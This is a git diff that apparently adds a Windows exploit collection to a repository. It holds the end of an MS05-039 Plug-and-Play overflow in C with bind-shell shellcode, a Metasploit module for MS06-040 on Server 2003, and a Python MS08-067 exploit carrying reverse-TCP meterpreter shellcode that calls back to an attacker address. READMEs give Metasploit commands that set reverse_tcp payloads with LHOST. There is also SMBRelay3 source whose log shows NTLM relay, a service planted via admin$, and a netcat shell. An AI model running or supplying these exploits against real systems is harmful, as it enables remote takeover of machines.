"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f" + "\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc" + "\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc" + "\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67" + "\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7" + "\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35" + "\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64" + "\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6" + "\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f" + "\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e" + "\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60" + "\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67" + "\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a" + "\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8" + "\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66" + "\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7" + "\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57" + "\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37"; + +#define SET_PORTBIND_PORT(buf, port) \ + *(unsigned short *)(((buf)+186)) = (port) + + +void +convert_name(char *out, char *name) +{ + unsigned long len; + + len = strlen(name); + out += len * 2 - 1; + while (len--) { + *out-- = '\x00'; + *out-- = name[len]; + } +} + + + +int +main (int argc, char **argv) +{ + struct sockaddr_in addr; + struct hostent *he; + int len; + int sockfd; + unsigned short smblen; + unsigned short bindport; + unsigned char tmp[1024]; + unsigned char packet[4096]; + unsigned char *ptr; + char recvbuf[4096]; + +#ifdef _WIN32 + WSADATA wsa; + WSAStartup(MAKEWORD(2,0), &wsa); +#endif + + printf("\n (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow\n"); + printf("\t Universal Exploit + no crash shellcode\n\n\n"); + printf("\t Copyright (c) 2005 .: houseofdabus :.\n\n\n"); + + + if (argc < 3) { + printf("%s \n", argv[0]); + exit(0); + } + + if ((he = gethostbyname(argv[1])) == NULL) { + printf("[-] Unable to resolve %s\n", argv[1]); + exit(0); + } + + if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + printf("[-] socket failed\n"); + exit(0); + } + + addr.sin_family = AF_INET; + addr.sin_port = htons(445); + addr.sin_addr = *((struct in_addr *)he->h_addr); + memset(&(addr.sin_zero), '\0', 8); + + + + printf("\n[*] connecting to %s:445...", argv[1]); + if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { + printf("\n[-] connect failed\n"); + exit(0); + } + printf("ok\n"); + + printf("[*] null session..."); + if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + + len = recv(sockfd, recvbuf, 4096, 0); + if ((len <= 10) || (recvbuf[9] != 0)) { + printf("\n[-] failed\n"); + exit(0); + } + + if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + + len = recv(sockfd, recvbuf, 4096, 0); + if (len <= 10) { + printf("\n[-] failed\n"); + exit(0); + } + + if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + + len = recv(sockfd, recvbuf, 4096, 0); + if ((len <= 10) || (recvbuf[9] != 0)) { + printf("\n[-] failed\n"); + exit(0); + } + + ptr = packet; + memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1); + ptr += sizeof(SMB_TreeConnectAndX)-1; + + sprintf(tmp, "\\\\%s\\IPC$", argv[1]); + convert_name(ptr, tmp); + smblen = strlen(tmp)*2; + ptr += smblen; + smblen += 9; + memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1); + + memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1); + ptr += sizeof(SMB_TreeConnectAndX_)-1; + + smblen = ptr-packet; + smblen -= 4; + memcpy(packet+3, &smblen, 1); + + if (send(sockfd, packet, ptr-packet, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + + len = recv(sockfd, recvbuf, 4096, 0); + if ((len <= 10) || (recvbuf[9] != 0)) { + printf("\n[-] failed\n"); + exit(0); + } + + printf("ok\n"); + printf("[*] bind pipe..."); + + if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + + len = recv(sockfd, recvbuf, 4096, 0); + if ((len <= 10) || (recvbuf[9] != 0)) { + printf("\n[-] failed\n"); + exit(0); + } + + if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + + len = recv(sockfd, recvbuf, 4096, 0); + if ((len <= 10) || (recvbuf[9] != 0)) { + printf("\n[-] failed\n"); + exit(0); + } + + printf("ok\n"); + printf("[*] sending crafted packet..."); + + // nop + ptr = packet; + memset(packet, '\x90', sizeof(packet)); + + // header & offsets + memcpy(ptr, RPC_call, sizeof(RPC_call)-1); + ptr += sizeof(RPC_call)-1; + + // shellcode + bindport = (unsigned short)atoi(argv[2]); + bindport ^= 0x0437; + SET_PORTBIND_PORT(bind_shellcode, htons(bindport)); + memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1); + + // end of packet + memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2, + RPC_call_end, + sizeof(RPC_call_end)-1); + + // sending... + if (send(sockfd, packet, 2196, 0) < 0) { + printf("\n[-] send failed\n"); + exit(0); + } + printf("ok\n"); + printf("[*] check your shell on %s:%i\n", argv[1], atoi(argv[2])); + + recv(sockfd, recvbuf, 4096, 0); + +return 0; +} + +// milw0rm.com [2005-08-12] \ No newline at end of file diff --git a/97-Windows提权/MS05-039/README.md b/97-Windows提权/MS05-039/README.md new file mode 100644 index 0000000..12216ac --- /dev/null +++ b/97-Windows提权/MS05-039/README.md @@ -0,0 +1,15 @@ +# MS05-039 + + +Vulnerability reference: + * [MS05-039](https://technet.microsoft.com/library/security/ms05-039) + * [CVE-2005-1983](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1983) + + +## References ++ [MS05039分析](http://www.2cto.com/article/201304/205544.html) ++ [初试MS05039远程溢出攻击](http://blog.csdn.net/shuilan0066/article/details/5920671) ++ [Ms-05039漏洞原理分析](http://www.ithao123.cn/content-1002576.html) + + + diff --git a/97-Windows提权/MS06-040/2355.pm b/97-Windows提权/MS06-040/2355.pm new file mode 100644 index 0000000..e19b850 --- /dev/null +++ b/97-Windows提权/MS06-040/2355.pm @@ -0,0 +1,233 @@ +######################################################################### +# netapi_win2003.pm (MS06-040 Exploit for Windows Server 2003 SP0) +# +# Author: Trirat Puttaraksa (Kira) +# +# http://sf-freedom.blogspot.com +# +# For educational purpose only +# +# Note: This exploit is developed because of my question "Is it exploitable +# on Windows Server 2003 platform ?". As I know, Windows XP SP2 and Windows +# Server 2003 SP1 is not exploitable because they are compiled with /GS, but +# how about Windows Server 2003 SP0 ? In metasploit netapi_ms06_040.pm there +# is no Windows Server 2003 sp0 target, this means 2003 SP0 is not +# exploitable ? There is Stack Protection Windows Server 2003, is this the +# reasons why there is no Windows Server 2003 SP0 exploit for MS06-040 ? +# +# I start to modify H D Moore's exploit (netapi_ms06_040.pm - credits to him +# ^-^) and work on it. The problem is the Stack Protection "security cookie +# checking". Because wcscpy() method allow me to write to any memory location +# that are marked writable, I decide to write to the location at "security +# cookie" is stored and it works !!! I will describe more implementation details +# in my blog in few days ^-^ +# +# This exploit tested on Windows Server 2003 SP0 build 3790 and successful +# exploit 2003 machine in my environment - all patch before MS06-040 +# (KB921883). It's quite reliable but not 100%. There is the possibility that +# the exploit will fail and the target system process crash. Because I have +# only one testbase system, I couldn't confirm this exploit will work on +# your environment. However feel free to e-mail to me. +# +# Credits: H D Moore +######################################################################### + +package Msf::Exploit::netapi_win2003; +use base "Msf::Exploit"; +use strict; + +use Pex::DCERPC; +use Pex::NDR; + +my $advanced = { + 'FragSize' => [ 256, 'The DCERPC fragment size' ], + 'BindEvasion' => [ 0, 'IDS Evasion of the bind request' ], + 'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ], + }; + +my $info = { + 'Name' => 'MSO6-040 Windows Server 2003 Target', + 'Version' => '', + 'Authors' => + [ + 'Trirat Puttaraksa (Kira) ', + ], + + 'Arch' => ['x86'], + 'OS' => [ 'win32', 'win2003' ], + 'Priv' => 1, + + 'AutoOpts' => { 'EXITFUNC' => 'thread' }, + + 'UserOpts' => + { + 'RHOST' => [ 1, 'ADDR', 'The target address' ], + + # SMB connection options + 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], + 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ], + 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], + }, + + 'Payload' => + { + # Technically we can use more space than this, but by limiting it + # to 370 bytes we can use the same request for all Windows SPs. + 'Space' => 370, + + 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", + 'Keys' => ['+ws2ord'], + + # sub esp, 4097 + inc esp makes stack happy + 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", + }, + + 'Description' => Pex::Text::Freeform( + qq{ + This exploit modified from netapi_ms06_040.pm (Metasploit). + While netapi_ms06_040 of metasploit works on Windows 2000 + SP0 - SP4 and Windows XP SP0 - SP1, this exploit works on + Windows Server 2003 SP0. + } + ), + + 'Refs' => + [ + [ 'BID', '19409' ], + [ 'CVE', '2006-3439' ], + [ 'MSB', 'MS06-040' ], + ], + + 'DefaultTarget' => 0, + 'Targets' => + [ + [ '(wcscpy) Windows Server 2003 SP0', 612], + ], + + 'Keys' => ['srvsvc'], + + 'DisclosureDate' => '', + }; + +sub new { + my ($class) = @_; + my $self = + $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ ); + return ($self); +} + +sub Exploit { + my ($self) = @_; + my $target_host = $self->GetVar('RHOST'); + my $target_port = $self->GetVar('RPORT'); + my $target_idx = $self->GetVar('TARGET'); + my $shellcode = $self->GetVar('EncodedPayload')->Payload; + my $target_name = '*SMBSERVER'; + + my $FragSize = $self->GetVar('FragSize') || 256; + my $target = $self->Targets->[$target_idx]; + + if (!$self->InitNops(128)) { + $self->PrintLine("Could not initialize the nop module"); + return; + } + + my ( $res, $rpc ); + + my $pipe = '\BROWSER'; + my $uuid = '4b324fc8-1670-01d3-1278-5a47bf6ee188'; + my $version = '3.0'; + + my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe ); + + my $dce = Pex::DCERPC->new( + 'handle' => $handle, + 'username' => $self->GetVar('SMBUSER'), + 'password' => $self->GetVar('SMBPASS'), + 'domain' => $self->GetVar('SMBDOM'), + 'fragsize' => $self->GetVar('FragSize'), + 'bindevasion' => $self->GetVar('BindEvasion'), + 'directsmb' => $self->GetVar('DirectSMB'), + ); + + if ( !$dce ) { + $self->PrintLine("[*] Could not bind to $handle"); + return; + } + + my $smb = $dce->{'_handles'}{$handle}{'connection'}; + + if (! $smb) { + $self->PrintLine("[*] Could not establish SMB session"); + return; + } + + my $stub; + + # + # Use the wcscpy() method on Windows Server 2003 SP0 + # + if ($target->[0] =~ /2003/) { + + my $path = + $shellcode. + + # Padding + Pex::Text::AlphaNumText($target->[1] - length($shellcode)). + Pex::Text::AlphaNumText(32). + substr($shellcode, 0, 4). # cookie + Pex::Text::AlphaNumText(4). + # return address == address that store security cookie + ("\xec\xc1\xc8\x71") . + Pex::Text::AlphaNumText(8). + + ("\xec\xc1\xc8\x71" x 2) . + Pex::Text::AlphaNumText(36). + + # Terminate + "\x00\x00"; + + + # Package that into a stub + $stub = + Pex::NDR::Long(int(rand(0xffffffff))). + Pex::NDR::UnicodeConformantVaryingString(''). + Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). + Pex::NDR::Long(int(rand(250)+1)). + Pex::NDR::UnicodeConformantVaryingString(''). + Pex::NDR::Long(int(rand(250)+1)). + Pex::NDR::Long(0); + } + else { + $self->PrintLine("This target is not currently supported"); + return; + } + + + $self->PrintLine("[*] Sending request..."); + + # Function 0x1f is not the only way to exploit this :-) + my @response = $dce->request( $handle, 0x1f, $stub ); + + if ( length($dce->{'response'}->{'StubData'}) > 0) { + $self->PrintLine("[*] The server rejected it, trying again..."); + @response = $dce->request( $handle, 0x1f, $stub ); + } + + if ( length($dce->{'response'}->{'StubData'}) > 0) { + $self->PrintLine("[*] Exploit Failed"); + } + + if (@response) { + $self->PrintLine('[*] RPC server responded with:'); + foreach my $line (@response) { + $self->PrintLine( '[*] ' . $line ); + } + } + + return; +} + +1; + +# milw0rm.com [2006-09-13] diff --git a/97-Windows提权/MS06-040/README.md b/97-Windows提权/MS06-040/README.md new file mode 100644 index 0000000..1ad6346 --- /dev/null +++ b/97-Windows提权/MS06-040/README.md @@ -0,0 +1,32 @@ +# MS06-040 + +MS06-040 + +Vulnerability reference: + * [MS06-040](https://technet.microsoft.com/library/security/ms06-040) + * [CVE-2006-3439](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3439) + * [exp-db](https://www.exploit-db.com/exploits/2355/) + +## msf Usage +* [YouTube-ms06-040](https://www.youtube.com/watch?v=AsZ8qTr7IoE) +``` +msf > search ms06_040 +msf > use exploit/windows/smb/ms06_040_netapi +msf exploit(ms06_040_netapi) > show payloads +msf exploit(ms06_040_netapi) > set payload windows/shell/reverse_tcp +msf exploit(ms06_040_netapi) > set RHOST 192.1.80.2 +msf exploit(ms06_040_netapi) > set LHOST 192.1.80.152 +msf exploit(ms06_040_netapi) > set TARGET 0TARGET -> 0 +msf exploit(ms06_040_netapi) > exploit +session -i 1 + +Microsoft Windows 2000 [Version 5.00.2195] +(C) 版权所有 1985-2000 Microsoft Corp. +C:\WINNT\system32> +``` + +## References +* [深入浅出MS06-040](http://blog.csdn.net/iiprogram/article/details/2820149) +* [How to Exploit MS06-040](https://www.linickx.com/how-to-exploit-ms06-040) + + diff --git a/97-Windows提权/MS06-040/ms06040.rar b/97-Windows提权/MS06-040/ms06040.rar new file mode 100644 index 0000000..f7017c7 Binary files /dev/null and b/97-Windows提权/MS06-040/ms06040.rar differ diff --git a/97-Windows提权/MS08-025/MS08-025.exe b/97-Windows提权/MS08-025/MS08-025.exe new file mode 100644 index 0000000..60a5330 Binary files /dev/null and b/97-Windows提权/MS08-025/MS08-025.exe differ diff --git a/97-Windows提权/MS08-025/README.md b/97-Windows提权/MS08-025/README.md new file mode 100644 index 0000000..ce7fefc --- /dev/null +++ b/97-Windows提权/MS08-025/README.md @@ -0,0 +1,12 @@ +# MS08-025 + +MS08-025 + +Vulnerability reference: + * [MS08-025](https://technet.microsoft.com/library/security/ms08-025) + * [CVE-2008-1084](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1084) + + + + + diff --git a/97-Windows提权/MS08-025/ms08025.rar b/97-Windows提权/MS08-025/ms08025.rar new file mode 100644 index 0000000..e713ef3 Binary files /dev/null and b/97-Windows提权/MS08-025/ms08025.rar differ diff --git a/97-Windows提权/MS08-025/source.zip b/97-Windows提权/MS08-025/source.zip new file mode 100644 index 0000000..c7faf8e Binary files /dev/null and b/97-Windows提权/MS08-025/source.zip differ diff --git a/97-Windows提权/MS08-066/ms08066提权(XP 2003).zip b/97-Windows提权/MS08-066/ms08066提权(XP 2003).zip new file mode 100644 index 0000000..0477583 Binary files /dev/null and b/97-Windows提权/MS08-066/ms08066提权(XP 2003).zip differ diff --git a/97-Windows提权/MS08-067/40279.py b/97-Windows提权/MS08-067/40279.py new file mode 100644 index 0000000..a596365 --- /dev/null +++ b/97-Windows提权/MS08-067/40279.py @@ -0,0 +1,213 @@ +import struct +import time +import sys + + +from threading import Thread #Thread is imported incase you would like to modify + + +try: + + from impacket import smb + + from impacket import uuid + + from impacket import dcerpc + + from impacket.dcerpc.v5 import transport + + +except ImportError, _: + + print 'Install the following library to make this script work' + + print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' + + print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' + + sys.exit(1) + + +print '#######################################################################' + +print '# MS08-067 Exploit' + +print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).' + +print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi' + +print '#######################################################################\n' + + +#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40; +#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included) +#EXITFUNC=thread Important! +#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python +shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" +shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81" +shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35" +shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae" +shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6" +shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6" +shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91" +shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15" +shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c" +shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c" +shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1" +shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda" +shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba" +shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4" +shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc" +shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b" +shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69" +shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68" +shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc" +shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff" +shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28" +shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf" +shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22" +shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1" +shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0" +shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2" +shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22" +shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4" +shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60" +shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48" +shellcode += "\x08\x9e\xe0" + +nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10 +disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62" +ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01"; +module_base = 0x6f880000 +def generate_rop(rvas): + gadget1="\x90\x5a\x59\xc3" + gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] + gadget3="\xcc\x90\xeb\x5a" + ret=struct.pack('\n' % sys.argv[0] + + print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n' + print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n' + + sys.exit(-1) + + + +current = SRVSVC_Exploit(target, os) + +current.start() diff --git a/97-Windows提权/MS08-067/MS08-067.exe b/97-Windows提权/MS08-067/MS08-067.exe new file mode 100644 index 0000000..d07b787 Binary files /dev/null and b/97-Windows提权/MS08-067/MS08-067.exe differ diff --git a/97-Windows提权/MS08-067/MS08-067_2K3.exe b/97-Windows提权/MS08-067/MS08-067_2K3.exe new file mode 100644 index 0000000..cc30085 Binary files /dev/null and b/97-Windows提权/MS08-067/MS08-067_2K3.exe differ diff --git a/97-Windows提权/MS08-067/README.md b/97-Windows提权/MS08-067/README.md new file mode 100644 index 0000000..adc022f --- /dev/null +++ b/97-Windows提权/MS08-067/README.md @@ -0,0 +1,26 @@ +# MS08-067 +MS08-067 + +Vulnerability reference: + * [MS08-067](https://technet.microsoft.com/library/security/ms08-067) + * [CVE-2008-4250](http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4250) + +## Usage + +``` +msf > db_status +msf > db_nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.229.137 +msf > search ms08_067 +msf > use exploit/windows/smb/ms08_067_netapi +msf exploit(ms08_067_netapi) > set RHOST 192.168.229.137 +msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp +msf exploit(ms08_067_netapi) > exploit +``` + +## References ++ [ms08-067漏洞 远程溢出入侵测试](http://blog.csdn.net/sysprogram/article/details/8016776) ++ [kali攻击漏洞MS08_067](http://jingyan.baidu.com/article/9f63fb918dcadfc8400f0e28.html) + + + + diff --git a/97-Windows提权/MS08-068/Disable_Port_445.reg b/97-Windows提权/MS08-068/Disable_Port_445.reg new file mode 100644 index 0000000..3719474 --- /dev/null +++ b/97-Windows提权/MS08-068/Disable_Port_445.reg @@ -0,0 +1,4 @@ +Windows Registry Editor Version 5.00 + +[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] +"TransportBindName"="" diff --git a/97-Windows提权/MS08-068/Enable_Port_445.reg b/97-Windows提权/MS08-068/Enable_Port_445.reg new file mode 100644 index 0000000..41aed78 --- /dev/null +++ b/97-Windows提权/MS08-068/Enable_Port_445.reg @@ -0,0 +1,4 @@ +Windows Registry Editor Version 5.00 + +[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] +"TransportBindName"="\\Device\\" diff --git a/97-Windows提权/MS08-068/README.md b/97-Windows提权/MS08-068/README.md new file mode 100644 index 0000000..e5898da --- /dev/null +++ b/97-Windows提权/MS08-068/README.md @@ -0,0 +1,34 @@ +# MS08-068 + +``` +This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. +To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message. +When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. +Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. +The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. +The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. +This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. +It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken. +``` + +- The exp is from [exp-db](https://www.exploit-db.com/exploits/20/) +Vulnerability reference: + * [MS08-068](https://technet.microsoft.com/zh-cn/zh/library/security/ms08-068) + * [CVE-2008-4037](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4037) + + +## load the module within the Metasploit console +``` +msf > use exploit/windows/smb/smb_relay +msf exploit(smb_relay) > show targets + ...targets... +msf exploit(smb_relay) > set TARGET +msf exploit(smb_relay) > show options + ...show and set options... +msf exploit(smb_relay) > exploit + +``` + + + + diff --git a/97-Windows提权/MS08-068/libeay32.dll b/97-Windows提权/MS08-068/libeay32.dll new file mode 100644 index 0000000..dca6ad6 Binary files /dev/null and b/97-Windows提权/MS08-068/libeay32.dll differ diff --git a/97-Windows提权/MS08-068/smbrelay3.exe b/97-Windows提权/MS08-068/smbrelay3.exe new file mode 100644 index 0000000..79eb1b4 Binary files /dev/null and b/97-Windows提权/MS08-068/smbrelay3.exe differ diff --git a/97-Windows提权/MS08-068/smrs.exe b/97-Windows提权/MS08-068/smrs.exe new file mode 100644 index 0000000..043d0de Binary files /dev/null and b/97-Windows提权/MS08-068/smrs.exe differ diff --git a/97-Windows提权/MS08-068/src/httprelay.cpp b/97-Windows提权/MS08-068/src/httprelay.cpp new file mode 100644 index 0000000..57f0325 --- /dev/null +++ b/97-Windows提权/MS08-068/src/httprelay.cpp @@ -0,0 +1,350 @@ +/* + SMBRelay3 - HTTP REPLAY ATTACK MODULE + ------------------------------------- + + +C:\smbrelay>smbrelay3.exe --ListForHTTPRequests +[+] Accepted Connection - Replaying against 192.168.47.128 +[+] Reading Initial HTTP Request... +[+] Sending Default HTTP 401 Error response and asking for authentiation NTLM +[+] Reading Second HTTP Request with Auhorization Header.. +GET /test HTTP/1.1 +[+] Authorization header received. +[+] Init HTTP to SMB attack - Connecting with: 192.168.47.128:445 +Received SMB Message with NTLM v2 packet +Sending NTLM Challenge from SMB Server to the HTTP Client +Sending HTTP Response: HTTP/1.1 401 Access Denied +Received Final Authentication packet from remote HTTP Client +Trying to authenticate to remote SMB as Administrador +Sending Final SMB Authentication packet with NTLM Message type 3 +SessionSetupAndX Completed. Authenticacion against 192.168.47.128 Succeed as Administrador +[+] Connecting against \\192.168.47.128\ipc$ +[+] Trying to connect to admin$ +[+] Creating Remote File smrs.exe under admin$ +[+] Writing File smrs.exe into admin$ (2048 bytes) +[+] Opening Remote Service Control Manager pipe \svcctl +[*] Sending RPC BindRequest to SCM pipe +[*] Reading Response from Binding Request +[+] Opening Remote Service Control Manager (Creating Service) +[+] Creating Remote Service +[+] Opening Remote Service +[+] Starting Remote Service... +[+] *** Remote SmbRelay3 BindShell Service Running ***: (192.168.47.128:8080) + + +C:\smbrelay>nc 192.168.47.128 8080 +Microsoft Windows 2000 [Versin 5.00.2195] +(C) Copyright 1985-2000 Microsoft Corp. + +C:\WINNT\system32> + +*/ + +#include "httprelay.h" +#include "payload.h" + +extern int verbose; +extern int ProxySMB; + +int HandleIncommingHTTPRequest(RELAY *relay, char *destinationhostname,int destinationport) +{ + char request[4096]; + int leido=0; + int total=0; + char **header; + unsigned int nheaders=0; + char *data; + char *p; + int i; + char buf[4096]; + char buf1[4096]; + char buf2[4096]; + uint16 packetlen; + smheader *SmbPacket1, *SmbPacket2, *SmbPacket3; + smheader *NegotiateProtocol; + char CurrentUserName[256]; + char CurrentDomain[256]; + char CurrentWorkstation[256]; + const uint8 SpoofedChallengeKey[]="\x11\x22\x33\x44\x55\x66\x77\x88"; + + + + char InitialResponse[]= "HTTP/1.1 401 Unauthorized\r\n" + "Content-Length: 0\r\n" + "Content-Type: text/html\r\n" + "Server: Microsoft-IIS/6.0\r\n" + "WWW-Authenticate: NTLM\r\n" + "Connection: keep-alive\r\n\r\n"; + char owned[4096]="smbrelay owning

